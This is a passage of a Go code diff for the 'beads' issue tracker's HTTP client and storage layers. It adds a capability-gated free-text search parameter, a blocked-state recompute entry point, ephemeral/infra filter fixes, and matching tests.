a/internal/httpclient/encode/encode.go +++ b/internal/httpclient/encode/encode.go @@ -295,6 +295,7 @@ func ListParams(req issueops.ListRequest) (url.Values, error) { b.list("exclude_label", req.ExcludeLabels) b.str("parent", req.ParentID) + b.str("q", req.Query) b.boolean("all", req.AllFlag) b.boolean("include_templates", req.IncludeTemplates) diff --git a/internal/httpclient/encode/parentwalk.go b/internal/httpclient/encode/parentwalk.go index aa75cb551..f9677388e 100644 --- a/internal/httpclient/encode/parentwalk.go +++ b/internal/httpclient/encode/parentwalk.go @@ -212,12 +212,21 @@ func recognizeIntents(f types.IssueFilter, cfg ListConfig) (walkIntents, error) } // The same rule for the plane, and it has TWO suppressors rather than one: // `--include-infra` admits the wisp plane as well as the infra types, and an - // infra `--type` routes to the plane on its own. Either one leaves SkipWisps - // false whatever the ephemeral flag was, so under either of them the pair is - // the same question as the infra intent alone — `--all --no-pinned` and - // `--status all` again — and inventing the second parameter would be a - // distinction the re-derivation cannot see. - if intents.IncludeInfra || cfg.IsInfra(issueType) { + // infra `--type` admits it on its own. Either one leaves SkipWisps false + // whatever the ephemeral flag was, so SkipWisps cannot carry the intent + // under either of them. + // + // Under `--include-infra` alone the pair is the same question as the infra + // intent — `--all --no-pinned` and `--status all` again — and inventing the + // second parameter would be a distinction the re-derivation cannot see. An + // infra `--type` is different: it also narrows the read to that type's + // ephemeral rows, and the ephemeral flag LIFTS that narrowing (so durable + // rows of the type come back too), so there the plane intent leaves its + // trace in Ephemeral instead — present without the flag, absent with it. + switch { + case cfg.IsInfra(issueType): + intents.IncludeEphemeral = f.Ephemeral == nil + case intents.IncludeInfra: intents.IncludeEphemeral = false } diff --git a/internal/httpclient/encode/parentwalk_test.go b/internal/httpclient/encode/parentwalk_test.go index f94ac24b1..f51b81a12 100644 --- a/internal/httpclient/encode/parentwalk_test.go +++ b/internal/httpclient/encode/parentwalk_test.go @@ -127,6 +127,30 @@ func TestTheParentWalkInvertsTheDerivedDefaults(t *testing.T) { in: textListing(issueops.ListRequest{IncludeEphemeral: true, IncludeInfra: true}), want: url.Values{"parent": {"bd-root"}, "include_infra": {"true"}}, }, + { + // An infra --type admits the plane on its own too, AND narrows the + // read to that type's ephemeral rows, so a bare one is no plane + // intent at all: the server re-derives the narrowing from the type. + name: "an infra --type alone does not invent an ephemeral intent", + in: textListing(issueops.ListRequest{IssueType: "message"}), + want: url.Values{"parent": {"bd-root"}, "type": {"message"}}, + }, + { + // With an infra --type the ephemeral flag is NOT redundant: it lifts + // the type's ephemeral-only narrowing, so the durable rows of that + // type (a promoted wisp, a retyped issue) come back too. Dropping the + // parameter here would ask the server the narrower question. + name: "--include-ephemeral with an infra --type keeps the plane intent", + in: textListing(issueops.ListRequest{IncludeEphemeral: true, IssueType: "message"}), + want: url.Values{"parent": {"bd-root"}, "type": {"message"}, "include_ephemeral": {"true"}}, + }, + { + // --include-infra is redundant beside an infra --type whatever the + // ephemeral flag says, so the pair still reads as the flag alone. + name: "--include-ephemeral --include-infra with an infra --type is the same question as --include-ephemeral", + in: textListing(issueops.ListRequest{IncludeEphemeral: true, IncludeInfra: true, IssueType: "message"}), + want: url.Values{"parent": {"bd-root"}, "type": {"message"}, "include_ephemeral": {"true"}}, + }, { name: "an explicit status travels verbatim under its own parameter", in: textListing(issueops.ListRequest{Status: "in_progress"}), @@ -446,6 +470,8 @@ func TestTheParentWalkRoundTripsThroughTheServerDecoder(t *testing.T) { {"--include-ephemeral alone", textListing(issueops.ListRequest{IncludeEphemeral: true})}, {"--include-ephemeral --include-infra", textListing(issueops.ListRequest{IncludeEphemeral: true, IncludeInfra: true})}, {"--include-ephemeral with an infra --type", textListing(issueops.ListRequest{IncludeEphemeral: true, IssueType: "agent"})}, + {"--include-ephemeral --include-infra with an infra --type", textListing(issueops.ListRequest{IncludeEphemeral: true, IncludeInfra: true, IssueType: "agent"})}, + {"--include-infra with an infra --type", textListing(issueops.ListRequest{IncludeInfra: true, IssueType: "agent"})}, {"--include-templates alone", textListing(issueops.ListRequest{IncludeTemplates: true})}, {"an explicit status", textListing(issueops.ListRequest{Status: "in_progress"})}, {"a multi-status filter", textListing(issueops.ListRequest{Status: "open,in_progress"})}, diff --git a/internal/httpclient/encode/roundtrip_test.go b/internal/httpclient/encode/roundtrip_test.go index 6d09ba6d7..6e2971693 100644 --- a/internal/httpclient/encode/roundtrip_test.go +++ b/internal/httpclient/encode/roundtrip_test.go @@ -182,6 +182,7 @@ func roundTripCases() []roundTripCase { ExcludeLabels: []string{"delta", "epsilon"}, ParentID: "bd-epic1", + Query: "login bug", AllFlag: true, IncludeTemplates: true, diff --git a/internal/httpclient/encode/table.go b/internal/httpclient/encode/table.go index 9e6523a51..462598658 100644 --- a/internal/httpclient/encode/table.go +++ b/internal/httpclient/encode/table.go @@ -329,6 +329,10 @@ func listTable() Table { refused("TitleSearch", "E-ListRequest.TitleSearch"), refused("SpecPrefix", "E-ListRequest.SpecPrefix"), refused("IDFilter", "E-ListRequest.IDFilter"), + // Behind issues.list.search: httpReader.List refuses a request + // carrying it, before dialing, unless the handshake advertises the + // token (role_reader.go refuseUnservedSearch). + param("Query", "q"), param("Labels", "label"), param("LabelsAny", "label_any"), param("ExcludeLabels", "exclude_label"), diff --git a/internal/httpclient/list_search_test.go b/internal/httpclient/list_search_test.go new file mode 100644 index 000000000..dfce7885c --- /dev/null +++ b/internal/httpclient/list_search_test.go @@ -0,0 +1,67 @@ +package httpclient + +import ( + "errors" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/issueops" +) + +func listRoleWithSnapshot(t *testing.T, w *countingWire, snap *apigen.ContextResponse) issueops.Reader { + t.Helper() + reader, err := New(testTarget(t), w, snap).IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + return reader +} + +// TestListQueryRidesQBehindTheSearchCapability is S26's client half: a +// ListRequest carrying Query reaches listIssues as `q` once the handshake +// advertises issues.list.search. +func TestListQueryRidesQBehindTheSearchCapability(t *testing.T) { + served := &apigen.ContextResponse{Capabilities: []string{"issues.list", wire.CapListSearch}} + w := newCountingWire(`{"items":[],"has_more":false}`) + limit := 10 + if _, err := listRoleWithSnapshot(t, w, served).List(t.Context(), issueops.ListRequest{Query: "login bug", Limit: &limit}); err != nil { + t.Fatalf("List: %v", err) + } + if got := w.query(t)["q"]; !slices.Equal(got, []string{"login bug"}) { + t.Errorf("query[q] = %v, want [login bug] (full query: %v)", got, w.query(t)) + } +} + +// TestListQueryRefusesLocallyWhenTheServerLacksTheSearchCapability is the skew +// side: against a server that does not advertise issues.list.search (the +// deployed reference server, for one), a search refuses BEFORE dialing with +// the typed capability error. Sending it would cost a guaranteed 400 +// unknown_parameter; dropping `q` would answer the unsearched listing as the +// search. +func TestListQueryRefusesLocallyWhenTheServerLacksTheSearchCapability(t *testing.T) { + masked := &apigen.ContextResponse{Capabilities: []string{"issues.list", wire.CapListSort}} + w := newCountingWire(`{"items":[],"has_more":false}`) + _, err := listRoleWithSnapshot(t, w, masked).List(t.Context(), issueops.ListRequest{Query: "login bug"}) + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("List error = %v, want *storage.ErrUnsupported", err) + } + if unsup.Capability != wire.CapListSearch || unsup.Op != "Reader.List" { + t.Errorf("refusal = {Op: %q, Capability: %q}, want {Reader.List, %s}", unsup.Op, unsup.Capability, wire.CapListSearch) + } + if len(w.dialed) != 0 { + t.Errorf("dialed %d times, want 0: a pre-dial refusal must never reach the wire", len(w.dialed)) + } + + // A listing without Query is unaffected by the missing token. + limit := 10 + if _, err := listRoleWithSnapshot(t, w, masked).List(t.Context(), issueops.ListRequest{Limit: &limit}); err != nil { + t.Fatalf("List without Query against the same server: %v", err) + } + if q := w.query(t); q.Has("q") { + t.Errorf("a listing without Query sent q: %v", q) + } +} diff --git a/internal/httpclient/role_reader.go b/internal/httpclient/role_reader.go index d1758a083..77eef9a2b 100644 --- a/internal/httpclient/role_reader.go +++ b/internal/httpclient/role_reader.go @@ -5,6 +5,7 @@ package httpclient import ( "context" "net/http" + "slices" "github.com/steveyegge/beads/internal/httpapi/apigen" "github.com/steveyegge/beads/internal/httpclient/encode" @@ -62,6 +63,9 @@ func (r httpReader) Ready(ctx context.Context, req issueops.ReadyRequest) (issue // List serves listIssues, through the pager in list_walk.go. func (r httpReader) List(ctx context.Context, req issueops.ListRequest) (issueops.IssuePage, error) { + if err := r.refuseUnservedSearch(ctx, req); err != nil { + return issueops.IssuePage{}, err + } params, err := encode.ListParams(req) if err != nil { return issueops.IssuePage{}, r.store.inexpressible("Reader.List", err) @@ -69,6 +73,30 @@ func (r httpReader) List(ctx context.Context, req issueops.ListRequest) (issueop return r.store.walkIssues(ctx, params, req) } +// refuseUnservedSearch is the pre-dial gate for ListRequest.Query, which rides +// listIssues' `q` only on a server advertising issues.list.search. An older +// server answers `q` with 400 unknown_parameter, so a search against it is +// refused HERE, with the typed capability error naming the token: never a +// round trip that is refused anyway, and never the unsearched listing passed +// off as the search. +// +// listIssues is a baseline operation, so dispatch preflights nothing for it; +// this is the one handshake a search costs, and a request without Query never +// asks for it. +func (r httpReader) refuseUnservedSearch(ctx context.Context, req issueops.ListRequest) error { + if req.Query == "" { + return nil + } + snap, err := r.store.snapshot(ctx) + if err != nil { + return err + } + if snap != nil && slices.Contains(snap.Capabilities, wire.CapListSearch) { + return nil + } + return r.store.unsupportedCapability("Reader.List", wire.CapListSearch) +} + // Get serves getIssue, including the two landed include parameters that retired // ledger row L4. // diff --git a/internal/httpclient/served_reader_test.go b/internal/httpclient/served_reader_test.go index 696589a99..be604e36d 100644 --- a/internal/httpclient/served_reader_test.go +++ b/internal/httpclient/served_reader_test.go @@ -54,6 +54,7 @@ func servedReaderFixture(t *testing.T, name string) conformance.ReaderFixture { CreateWisp: c.seedIssue, AddDependency: c.seedDependency, AddComment: c.seedComment, + PromoteWisp: c.seedPromotion, } } @@ -181,6 +182,13 @@ func TestServedReaderListEmptyPageIsWellFormed(t *testing.T) { conformance.RunReaderListEmptyPageIsWellFormed(t, t.Context(), servedReaderFixture(t, "rdr")) } +// TestServedReaderListQueryMatchesTheTitleOrTheID runs the search-text case as +// written: it scopes itself with a label, and Query rides listIssues' `q` +// parameter behind issues.list.search, which this in-process server serves. +func TestServedReaderListQueryMatchesTheTitleOrTheID(t *testing.T) { + conformance.RunReaderListQueryMatchesTheTitleOrTheID(t, t.Context(), servedReaderFixture(t, "rdr")) +} + func TestServedReaderListMaxRowsIsHonored(t *testing.T) { skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, "the case scopes itself with IDFilter; the cap it pins is honored over this wire and exercised by "+ diff --git a/internal/httpclient/served_test.go b/internal/httpclient/served_test.go index 23b16b02e..b94c31275 100644 --- a/internal/httpclient/served_test.go +++ b/internal/httpclient/served_test.go @@ -312,6 +312,10 @@ func (c *servedComposition) seedComment(ctx context.Context, issueID, author, te return err } +func (c *servedComposition) seedPromotion(ctx context.Context, id, actor string) error { + return c.reference.PromoteFromEphemeral(ctx, id, actor) +} + // queryScalar is the composition's raw-row hook: a single-row query against the // REFERENCE store, which is where the rows a contract seeded actually live. // diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index fa5990c7a..2b8fc11bd 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -154,6 +154,15 @@ const CapListSort = "issues.list.sort" // parity gate compares this client's whole vocabulary with the server's. const CapCountScope = "issues.count.scope" +// CapListSearch is the behavior capability announcing that listIssues honors +// `q`, `bd search`'s free text (issueops.ListRequest.Query), spelled exactly +// as httpapi's CapIssuesListSearch. The Reader's List reads it off the +// handshake snapshot and refuses a request that carries Query LOCALLY, with a +// typed capability error naming this token, when the server does not +// advertise it — so a search never dials a server that would answer +// `unknown_parameter`, and is never widened into the unsearched listing. +const CapListSearch = "issues.list.search" + // CapBatchApplyLarge is the behavior capability announcing that issues.batchApply // accepts a batch larger than the compiled-in floor (100 items), up to the // raised ceiling (1000), spelled exactly as httpapi's constant of the same name @@ -382,7 +391,7 @@ var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope, CapSweepWispsPlane, CapSweepLiveDependents, CapSweepLimit, CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, CapIssuesCreateDefaultPriority, - CapCloseAutoCloseMolecule, + CapCloseAutoCloseMolecule, CapListSearch, } // CapabilityFor reports the capability token gating op, and whether op is on diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index ea4d4d21d..966354325 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -148,6 +148,9 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { if CapListSort != httpapi.CapIssuesListSort { t.Errorf("CapListSort = %q, server says %q", CapListSort, httpapi.CapIssuesListSort) } + if CapListSearch != httpapi.CapIssuesListSearch { + t.Errorf("CapListSearch = %q, server says %q", CapListSearch, httpapi.CapIssuesListSearch) + } if CapCountScope != httpapi.CapIssuesCountScope { t.Errorf("CapCountScope = %q, server says %q", CapCountScope, httpapi.CapIssuesCountScope) } @@ -201,11 +204,11 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope, httpapi.CapIssuesSweepWispsPlane, httpapi.CapIssuesSweepLiveDependents, httpapi.CapIssuesSweepLimit, httpapi.CapBatchApplyDepAddLineage, httpapi.CapIssuesUpdateAllowTemplate, httpapi.CapIssuesCreateDefaultPriority, - httpapi.CapIssuesCloseAutoCloseMolecule, + httpapi.CapIssuesCloseAutoCloseMolecule, httpapi.CapIssuesListSearch, }) { t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort, "+ - "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents, issues.sweep.limit and "+ - "issues.batchApply.depAddLineage, issues.update.allowTemplate, issues.create.defaultPriority and issues.close.autoCloseMolecule tokens", behaviorCapabilities) + "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents, issues.sweep.limit, "+ + "issues.batchApply.depAddLineage, issues.update.allowTemplate, issues.create.defaultPriority, issues.close.autoCloseMolecule and issues.list.search tokens", behaviorCapabilities) } } diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index c3390f6ac..acb3b8e08 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -8,6 +8,7 @@ go_library( "batch.go", "batch_apply.go", "batch_close_policy.go", + "blocked_recomputer.go", "bulk_issues.go", "child_counter_reservation.go", "compaction.go", @@ -81,6 +82,7 @@ go_test( srcs = [ "batch_apply_test.go", "batch_close_policy_test.go", + "blocked_recomputer_test.go", "contract_leg_registry_test.go", "directory_size_test.go", "hook_batch_applier_test.go", diff --git a/internal/storage/blocked_recomputer.go b/internal/storage/blocked_recomputer.go new file mode 100644 index 000000000..62d12b7ee --- /dev/null +++ b/internal/storage/blocked_recomputer.go @@ -0,0 +1,70 @@ +package storage + +import ( + "context" +) + +// BlockedMaintainedByServer is RecomputeBlockedResult.MaintainedBy for a +// backend whose blocked state lives in, and is maintained by, a remote server. +const BlockedMaintainedByServer = "server" + +// RecomputeBlockedResult is what one is_blocked repair did. +type RecomputeBlockedResult struct { + // RowsCorrected is how many rows' persisted flag changed. A consistent + // store corrects none. + RowsCorrected int + // MaintainedBy is "" when THIS backend recomputed its own column, and + // BlockedMaintainedByServer when the column belongs to a remote server + // that maintains it, in which case nothing was recomputed here and + // RowsCorrected is 0. A caller that must tell "nothing was stale" from + // "nothing was checked here" reads it. + MaintainedBy string +} + +// ServerMaintainedBlockedState is implemented by a store whose blocked state a +// remote server derives and keeps — today the http backend. +type ServerMaintainedBlockedState interface { + BlockedStateMaintainedByServer() bool +} + +// RecomputeBlocked is the one library entry for the is_blocked repair +// (`bd recompute-blocked`), the named repair of +// issueops.BlockedStateInvariant's merge clause — the one way that +// invariant's persisted column can be stale. Every store goes through it. The +// `--proxied-server` route deliberately does not: it runs +// versioncontrolops.RecomputeAllBlockedOnConn (the guard, recompute, staging +// set and commit message a local store uses) on a pinned non-transactional +// connection, because the repair's DOLT_ADD/DOLT_COMMIT are stored procedures +// Dolt refuses inside an explicit transaction and its commit must stage +// `issues` alone (cmd/bd/recompute_blocked_proxied_server.go). +// +// A LOCAL store (BlockedRecomputer) recomputes its whole column from the +// dependency graph and commits the result, idempotently. +// +// A REMOTE store (ServerMaintainedBlockedState) recomputes nothing and answers +// BlockedMaintainedByServer. Every write its client makes is committed by the +// server's own store under the invariant's local-write clause, so the client +// cannot leave the column stale and holds no copy of it; the merge clause's +// staleness happens to the server's database, and its repair is this same +// entry run against that database, in the server's workspace. There is no +// wire operation for it: a whole-column rewrite any bearer of a workspace +// credential could trigger, for state no client can have caused, is not one +// to publish. +// +// It looks through the decorator chain, as the repair fires no hooks. Any +// other store refuses with *ErrUnsupported. +func RecomputeBlocked(ctx context.Context, s DoltStorage) (RecomputeBlockedResult, error) { + inner := UnwrapStore(s) + if remote, ok := inner.(ServerMaintainedBlockedState); ok && remote.BlockedStateMaintainedByServer() { + return RecomputeBlockedResult{MaintainedBy: BlockedMaintainedByServer}, nil + } + local, ok := inner.(BlockedRecomputer) + if !ok { + return RecomputeBlockedResult{}, &ErrUnsupported{Op: "RecomputeAllBlocked", Backend: "this storage"} + } + changed, err := local.RecomputeAllBlocked(ctx) + if err != nil { + return RecomputeBlockedResult{}, err + } + return RecomputeBlockedResult{RowsCorrected: changed}, nil +} diff --git a/internal/storage/blocked_recomputer_test.go b/internal/storage/blocked_recomputer_test.go new file mode 100644 index 000000000..6ece323c8 --- /dev/null +++ b/internal/storage/blocked_recomputer_test.go @@ -0,0 +1,61 @@ +package storage + +import ( + "context" + "errors" + "testing" +) + +type localRecomputeStore struct { + DoltStorage + changed int + err error + calls int +} + +func (s *localRecomputeStore) RecomputeAllBlocked(context.Context) (int, error) { + s.calls++ + return s.changed, s.err +} + +type serverMaintainedStore struct { + localRecomputeStore +} + +func (*serverMaintainedStore) BlockedStateMaintainedByServer() bool { return true } + +type plainStore struct{ DoltStorage } + +func TestRecomputeBlockedRunsTheLocalRepair(t *testing.T) { + s := &localRecomputeStore{changed: 3} + got, err := RecomputeBlocked(context.Background(), s) + if err != nil || got != (RecomputeBlockedResult{RowsCorrected: 3}) || s.calls != 1 { + t.Fatalf("RecomputeBlocked = (%+v, %v) after %d repairs, want ({3 \"\"}, nil) after 1", got, err, s.calls) + } + s.err = errors.New("dirty graph") + if _, err := RecomputeBlocked(context.Background(), s); !errors.Is(err, s.err) { + t.Fatalf("RecomputeBlocked error = %v, want the repair's own error", err) + } +} + +// TestRecomputeBlockedAnswersServerMaintainedWithoutRepairing pins S25: a store +// whose server maintains the column recomputes nothing, even if it ALSO offers +// a local repair, and says who maintains it. +func TestRecomputeBlockedAnswersServerMaintainedWithoutRepairing(t *testing.T) { + s := &serverMaintainedStore{localRecomputeStore{changed: 7}} + got, err := RecomputeBlocked(context.Background(), s) + if err != nil || got != (RecomputeBlockedResult{MaintainedBy: BlockedMaintainedByServer}) { + t.Fatalf("RecomputeBlocked = (%+v, %v), want ({0 server}, nil)", got, err) + } + if s.calls != 0 { + t.Fatalf("the local repair ran %d times for a server-maintained store, want 0", s.calls) + } +} + +func TestRecomputeBlockedRefusesAStoreWithNeither(t *testing.T) { + _, err := RecomputeBlocked(context.Background(), plainStore{}) + var unsup *ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("RecomputeBlocked error = %v, want *ErrUnsupported", err) + } +} diff --git a/internal/storage/dolt/reader_contract_test.go b/internal/storage/dolt/reader_contract_test.go index 2bc7a4124..99a1ff884 100644 --- a/internal/storage/dolt/reader_contract_test.go +++ b/internal/storage/dolt/reader_contract_test.go @@ -134,6 +134,12 @@ func TestReaderListEmptyPageIsWellFormed(t *testing.T) { conformance.RunReaderListEmptyPageIsWellFormed(t, ctx, fixture) } +func TestReaderListQueryMatchesTheTitleOrTheID(t *testing.T) { + fixture, ctx, cleanup := newDoltReaderFixture(t, "rdr") + defer cleanup() + conformance.RunReaderListQueryMatchesTheTitleOrTheID(t, ctx, fixture) +} + func TestReaderGetResolvesTheExactIDAcrossBothPlanes(t *testing.T) { fixture, ctx, cleanup := newDoltReaderFixture(t, "rdr") defer cleanup() @@ -297,6 +303,7 @@ func newDoltReaderFixture(t *testing.T, prefix string) (conformance.ReaderFixtur _, err := store.AddIssueComment(ctx, issueID, author, text) return err }, + PromoteWisp: store.PromoteFromEphemeral, } return fixture, ctx, func() { cancel() diff --git a/internal/storage/embeddeddolt/reader_contract_test.go b/internal/storage/embeddeddolt/reader_contract_test.go index 7d792ad2c..2bbdfbc9f 100644 --- a/internal/storage/embeddeddolt/reader_contract_test.go +++ b/internal/storage/embeddeddolt/reader_contract_test.go @@ -133,6 +133,12 @@ func TestEmbeddedReaderListEmptyPageIsWellFormed(t *testing.T) { conformance.RunReaderListEmptyPageIsWellFormed(t, ctx, newEmbeddedReaderFixture(t, "rdr")) } +func TestEmbeddedReaderListQueryMatchesTheTitleOrTheID(t *testing.T) { + skipUnlessEmbeddedDolt(t) + ctx := t.Context() + conformance.RunReaderListQueryMatchesTheTitleOrTheID(t, ctx, newEmbeddedReaderFixture(t, "rdr")) +} + func TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes(t *testing.T) { skipUnlessEmbeddedDolt(t) ctx := t.Context() @@ -276,5 +282,6 @@ func newEmbeddedReaderFixture(t *testing.T, prefix string) conformance.ReaderFix _, err := te.store.AddIssueComment(ctx, issueID, author, text) return err }, + PromoteWisp: te.store.PromoteFromEphemeral, } } diff --git a/internal/storage/uow/issue_reader.go b/internal/storage/uow/issue_reader.go index 5f9bcc147..8c62b8779 100644 --- a/internal/storage/uow/issue_reader.go +++ b/internal/storage/uow/issue_reader.go @@ -122,7 +122,7 @@ func (r *issueReader) List(ctx context.Context, req publicops.ListRequest) (publ if req.ReadyFlag { page, err = uw.IssueUseCase().GetReadyWorkWithCounts(ctx, workapi.ReadyFilterFromIssueFilter(filter)) } else { - page, err = uw.IssueUseCase().SearchIssuesWithCounts(ctx, "", filter) + page, err = uw.IssueUseCase().SearchIssuesWithCounts(ctx, req.Query, filter) } if err != nil { return publicops.IssuePage{}, err diff --git a/internal/storage/uow/reader_contract_test.go b/internal/storage/uow/reader_contract_test.go index 427219c4e..cd38f36c4 100644 --- a/internal/storage/uow/reader_contract_test.go +++ b/internal/storage/uow/reader_contract_test.go @@ -92,6 +92,9 @@ func TestReaderContract(t *testing.T) { t.Run("ListEmptyPageIsWellFormed", func(t *testing.T) { conformance.RunReaderListEmptyPageIsWellFormed(t, ctx, fixture) }) + t.Run("ListQueryMatchesTheTitleOrTheID", func(t *testing.T) { + conformance.RunReaderListQueryMatchesTheTitleOrTheID(t, ctx, fixture) + }) t.Run("GetResolvesTheExactIDAcrossBothPlanes", func(t *testing.T) { conformance.RunReaderGetResolvesTheExactIDAcrossBothPlanes(t, ctx, fixture) }) @@ -207,5 +210,10 @@ func newUOWReaderFixture(t *testing.T, provider UnitOfWorkProvider, prefix strin return "bd: comment " + issueID, err }) }, + PromoteWisp: func(ctx context.Context, id, actor string) error { + return RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + return "bd: promote " + id, uw.IssueUseCase().PromoteWisp(ctx, id, actor) + }) + }, } } diff --git a/internal/types/types.go b/internal/types/types.go index dffc85811..7a0edf045 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1230,7 +1230,8 @@ type IssueWithCounts struct { // WHICH SURFACES SET IT, because this type is shared by more than the // listing and an absent marker means different things on them. It is set // by the page epilogue behind issueops.Reader.List — `bd list --json` on - // both routes, its --ready arm included, and GET /v0/beads/issues. It is + // both routes, its --ready arm included, `bd search --json` on every + // route, and GET /v0/beads/issues. It is // NOT set by Reader.Ready (GET /v0/beads/ready) or by the claim response // that returns this type, so on those an absent marker says nothing about // whether a row's comments exist: read comment_count there. Extending the diff --git a/internal/workapi/count.go b/internal/workapi/count.go index 66c1f509b..0931b468b 100644 --- a/internal/workapi/count.go +++ b/internal/workapi/count.go @@ -160,7 +160,7 @@ func BuildCountFilter(in issueops.CountRequest, cfg ListConfig) (types.IssueFilt } if in.IncludeInfra { - applyCountIncludeInfra(&filter, in.IssueType, cfg) + applyCountIncludeInfra(&filter, in.IssueType, in.IncludeEphemeral, cfg) } else if !in.IncludeEphemeral { filter.SkipWisps = true } @@ -178,12 +178,15 @@ func BuildCountFilter(in issueops.CountRequest, cfg ListConfig) (types.IssueFilt // - template molecules are excluded (list's default); // - gate beads are excluded unless requested via --type gate; // - counting an infra type (agent/role/message, or the store-configured set) -// routes to the ephemeral wisps tier, like list's infra-type listing. +// routes to the ephemeral wisps tier, like list's infra-type listing — +// unless includeEphemeral is also set, which lifts that narrowing on both +// builders, so the durable rows of that type are counted as they are +// listed. // // A count without IncludeInfra never calls this. It keeps its historical // durable-only semantics unless IncludeEphemeral admits the wisps tier: the // first of the changes above, with none of the rest. -func applyCountIncludeInfra(filter *types.IssueFilter, issueType string, cfg ListConfig) { +func applyCountIncludeInfra(filter *types.IssueFilter, issueType string, includeEphemeral bool, cfg ListConfig) { filter.SkipWisps = false isTemplate := false @@ -193,7 +196,7 @@ func applyCountIncludeInfra(filter *types.IssueFilter, issueType string, cfg Lis filter.ExcludeTypes = append(filter.ExcludeTypes, "gate") } - if issueType != "" && cfg.IsInfra(issueType) { + if issueType != "" && cfg.IsInfra(issueType) && !includeEphemeral { ephemeral := true filter.Ephemeral = &ephemeral } diff --git a/internal/workapi/count_test.go b/internal/workapi/count_test.go index 2d8b102fe..45e7e603a 100644 --- a/internal/workapi/count_test.go +++ b/internal/workapi/count_test.go @@ -16,57 +16,76 @@ import ( // dimensions are the wisps merge (SkipWisps), template exclusion (IsTemplate), // the default gate exclusion (ExcludeTypes), and infra-type routing to the // ephemeral tier (Ephemeral). +// +// Each type runs twice, the second time with --include-ephemeral on both +// sides. That flag lifts the infra-type routing on the list side (an +// infra-typed row can live in the durable table too, and the flag promises +// the durable answer plus the plane), so a count that kept routing would read +// only the wisp tier while the listing it mirrors reads both: the `message` +// arm is the one that fails if the two builders stop moving in lockstep. func TestBuildCountFilterIncludeInfraMirrorsListFilter(t *testing.T) { cfg := ListConfig{} - for _, issueType := range []string{"", "task", "gate", "message"} { - name := issueType - if name == "" { - name = "none" + for _, includeEphemeral := range []bool{false, true} { + for _, issueType := range []string{"", "task", "gate", "message"} { + name := issueType + if name == "" { + name = "none" + } + if includeEphemeral { + name += "_include_ephemeral" + } + t.Run("type_"+name, func(t *testing.T) { + assertCountMirrorsListIncludeInfra(t, cfg, issueType, includeEphemeral) + }) } - t.Run("type_"+name, func(t *testing.T) { - want, err := BuildListFilter(issueops.ListRequest{ - AllFlag: true, IncludeInfra: true, IssueType: issueType, - }, cfg) - if err != nil { - t.Fatalf("BuildListFilter(%q): %v", issueType, err) - } - got, err := BuildCountFilter(issueops.CountRequest{ - IncludeInfra: true, IssueType: issueType, - }, cfg) - if err != nil { - t.Fatalf("BuildCountFilter(%q): %v", issueType, err) - } + } +} - if got.SkipWisps != want.SkipWisps { - t.Errorf("SkipWisps = %v, list --include-infra --all uses %v", got.SkipWisps, want.SkipWisps) - } - if !reflect.DeepEqual(got.IsTemplate, want.IsTemplate) { - t.Errorf("IsTemplate = %v, list --include-infra --all uses %v", countPtrStr(got.IsTemplate), countPtrStr(want.IsTemplate)) - } - if !reflect.DeepEqual(got.ExcludeTypes, want.ExcludeTypes) { - t.Errorf("ExcludeTypes = %v, list --include-infra --all uses %v", got.ExcludeTypes, want.ExcludeTypes) - } - if !reflect.DeepEqual(got.Ephemeral, want.Ephemeral) { - t.Errorf("Ephemeral = %v, list --include-infra --all uses %v", countPtrStr(got.Ephemeral), countPtrStr(want.Ephemeral)) - } - if !reflect.DeepEqual(got.IssueType, want.IssueType) { - t.Errorf("IssueType = %v, list --include-infra --all uses %v", got.IssueType, want.IssueType) - } - // A count defaults to all statuses and all pinned states, which is - // exactly what list's --all flag selects. - if !reflect.DeepEqual(got.Status, want.Status) { - t.Errorf("Status = %v, list --include-infra --all uses %v", got.Status, want.Status) - } - if !reflect.DeepEqual(got.Statuses, want.Statuses) { - t.Errorf("Statuses = %v, list --include-infra --all uses %v", got.Statuses, want.Statuses) - } - if !reflect.DeepEqual(got.ExcludeStatus, want.ExcludeStatus) { - t.Errorf("ExcludeStatus = %v, list --include-infra --all uses %v", got.ExcludeStatus, want.ExcludeStatus) - } - if !reflect.DeepEqual(got.Pinned, want.Pinned) { - t.Errorf("Pinned = %v, list --include-infra --all uses %v", countPtrStr(got.Pinned), countPtrStr(want.Pinned)) - } - }) +// assertCountMirrorsListIncludeInfra compares one `bd count --include-infra` +// filter against the `bd list --include-infra --all` filter it mirrors. +func assertCountMirrorsListIncludeInfra(t *testing.T, cfg ListConfig, issueType string, includeEphemeral bool) { + t.Helper() + want, err := BuildListFilter(issueops.ListRequest{ + AllFlag: true, IncludeInfra: true, IssueType: issueType, IncludeEphemeral: includeEphemeral, + }, cfg) + if err != nil { + t.Fatalf("BuildListFilter(%q): %v", issueType, err) + } + got, err := BuildCountFilter(issueops.CountRequest{ + IncludeInfra: true, IssueType: issueType, IncludeEphemeral: includeEphemeral, + }, cfg) + if err != nil { + 